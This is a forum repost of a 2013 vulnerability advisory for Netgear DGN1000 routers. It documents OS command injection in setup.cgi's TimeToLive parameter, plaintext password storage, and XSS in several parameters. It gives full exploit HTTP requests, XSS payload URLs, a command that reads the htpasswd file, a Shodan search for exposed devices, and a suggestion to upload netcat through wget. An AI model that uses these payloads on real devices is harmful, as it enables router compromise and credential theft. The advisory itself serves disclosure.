Praetorian503 Posted February 8, 2013 Report Posted February 8, 2013 The Netgear N150 Wireless ADSL2+ Modem Router DGN1000 suffers from cross site scripting, OS command injection, and insecure cryptographic storage vulnerabilities. Firmware versions 1.1.00.24 and 1.1.00.45 are affected.Device Name: DGN1000BVendor: Netgear============ Vulnerable Firmware Releases: ============Firmwareversion: V1.1.00.24Firmwareversion: V1.1.00.45Download: http://downloadcenter.netgear.com/de/product/DGN1000============ Device Description: ============The N150 Wireless ADSL2+ Modem Router DGN1000 provides you with an easy and secure way to set up a wireless home network with fast access to the Internet over a high-speed digital subscriber line (DSL). The N150 Modem Router has a built-in DSL modem and is compatible with all major DSL Internet service providers. The security features let you block unsafe Internet content and applications, and protect the devices that you connect to your home network.Source: http://support.netgear.com/product/DGN1000============ Shodan Torks ============Shodan Search: NETGEAR DGN1000============ Vulnerability Overview: ============ * OS Command Injection in the UPNP configuration:The vulnerability is caused by missing input validation in the TimeToLive parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to upload and execute a backdoor to compromise the device.Param: TimeToLivePOST /setup.cgi HTTP/1.1Host: 192.168.178.188User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateProxy-Connection: keep-aliveReferer: http://192.168.178.188/setup.cgi?next_file=upnp.htmAuthorization: Basic XXXContent-Type: application/x-www-form-urlencodedContent-Length: 185Connection: closeUPnP=UPnP&AdverTime=30&TimeToLive=`%20COMMAND%20`&save=+Anwenden&todo=save&this_file=upnp.htm&next_file=upnp.htm&h_UPnP=enable&hiddenAdverTime=30&hiddenTimeToLive=4Change the Request Methode from HTTP Post to HTTP GET:http://192.168.178.188/setup.cgi?UPnP=UPnP&AdverTime=30&TimeToLive=`%20COMMAND%20`&save=+Anwenden&todo=save&this_file=upnp.htm&next_file=upnp.htm&h_UPnP=enable&hiddenAdverTime=30&hiddenTimeToLive=4It is possible to cross compile Netcat and upload it via wget, adjust the permissions and execute it. Have phun Sources including needed toolchain: http://kb.netgear.com/app/answers/detail/a_id/2649direct download: http://www.downloads.netgear.com/files/GPL/DGN1000B_VB1.00.45_GR_src.tar...Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN1000B-os-command-wget-check.pngScreenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN1000B-r00ted.png * Insecure Cryptographic Storage:There is no password hashing implemented and so it is saved in plain text on the system:cat /tmp/etc/htpasswdadmin:password * XSSInjecting scripts into the following parameters reveals that these parameters are not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.-> Sicherheit -> Dienste -> neuen Dienst anlegen -> DienstnameParam: service_namehttp://192.168.178.188/setup.cgi?service_name=%22%3E%3Cimg%20src=%220%22%20onerror=alert%282%29%3E&svc_type=tcp&serv_sport=1&serv_endport=2&save=Anwenden&todo=save&h_svc_type=tcp&edit=1&h_ruleSelect=0&this_file=servinfo.htm&next_file=fw_serv.htm-> WLAN -> Zugriffsliste anpassen -> Hinzufügen -> GerätenameParam: devicehttp://192.168.178.188/setup.cgi?accessLimit=accessLimit&device=%22%3E%3Cimg+src%3D%220%22+onerror=alert(2)>&wirelist_mac=01-11-22-33-44-66&h_accessLimit=enable&h_ruleSelect=0&todo=addmanual&this_file=m_access.htm&next_file=m_access.htmParam: ssid_numhttp://192.168.178.188/setup.cgi?next_file=adv_wireless.htm&ssid_num=a%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&flag=1Param: h_skeywordhttp://192.168.178.188/setup.cgi?skeyword=1&cfKeyWord_Domain=&KeyWordList=0&todo=delete&this_file=keyword.htm&next_file=keyword.htm&h_skeyword=115bcf%22%3E%3Cscript%3Ealert%281%29%3C/script%3Edc575b170bc38bebe&h_KeyWordList=&h_ruleSelect=0&h_trustipenable=disable&c4_Trusted_IPAddress=Param: cfKeyWord_Domainhttp://192.168.178.188/setup.cgi?skeyword=1&cfKeyWord_Domain=5d0a9%3Cscript%3Ealert%281%29%3C/script%3E&todo=addkeyword&this_file=keyword.htm&next_file=keyword.htm&h_skeyword=1&h_KeyWordList=&h_ruleSelect=&h_trustipenable=disable&c4_Trusted_IPAddress============= Solution ============No known solution available.============ Credits ============The vulnerability was discovered by Michael MessnerMail: devnull#at#s3cur1ty#dot#deWeb: http://www.s3cur1ty.deAdvisory URL: http://www.s3cur1ty.de/m1adv2013-005Twitter: @s3cur1ty_de============ Time Line: ============October 2012 - discovered vulnerability15.10.2012 - Privately reported all details to vendor via email23.10.2012 - Privately reported all details to vendor via webinterface24.10.2012 - Netgear replied to forward the details internally31.10.2012 - Netgear closes the case31.10.2012 - Requested more details why the case is now closed.31.10.2012 - Netgear responded that they will check the state of the case06.11.2012 - Netgear requested the Serial Number of the device08.11.2012 - Responded with the Serial Number13.11.2012 - something goes on - I got a product registration confirmation03.12.2012 - Case closed by Netgear - No new firmware available16.01.2013 - Netgear contacted me again requesting to check a Beta version22.01.2013 - Tested Beta Firmware and gave feedback to vendor06.02.2013 - public release===================== Advisory end =====================Source: PacketStorm Quote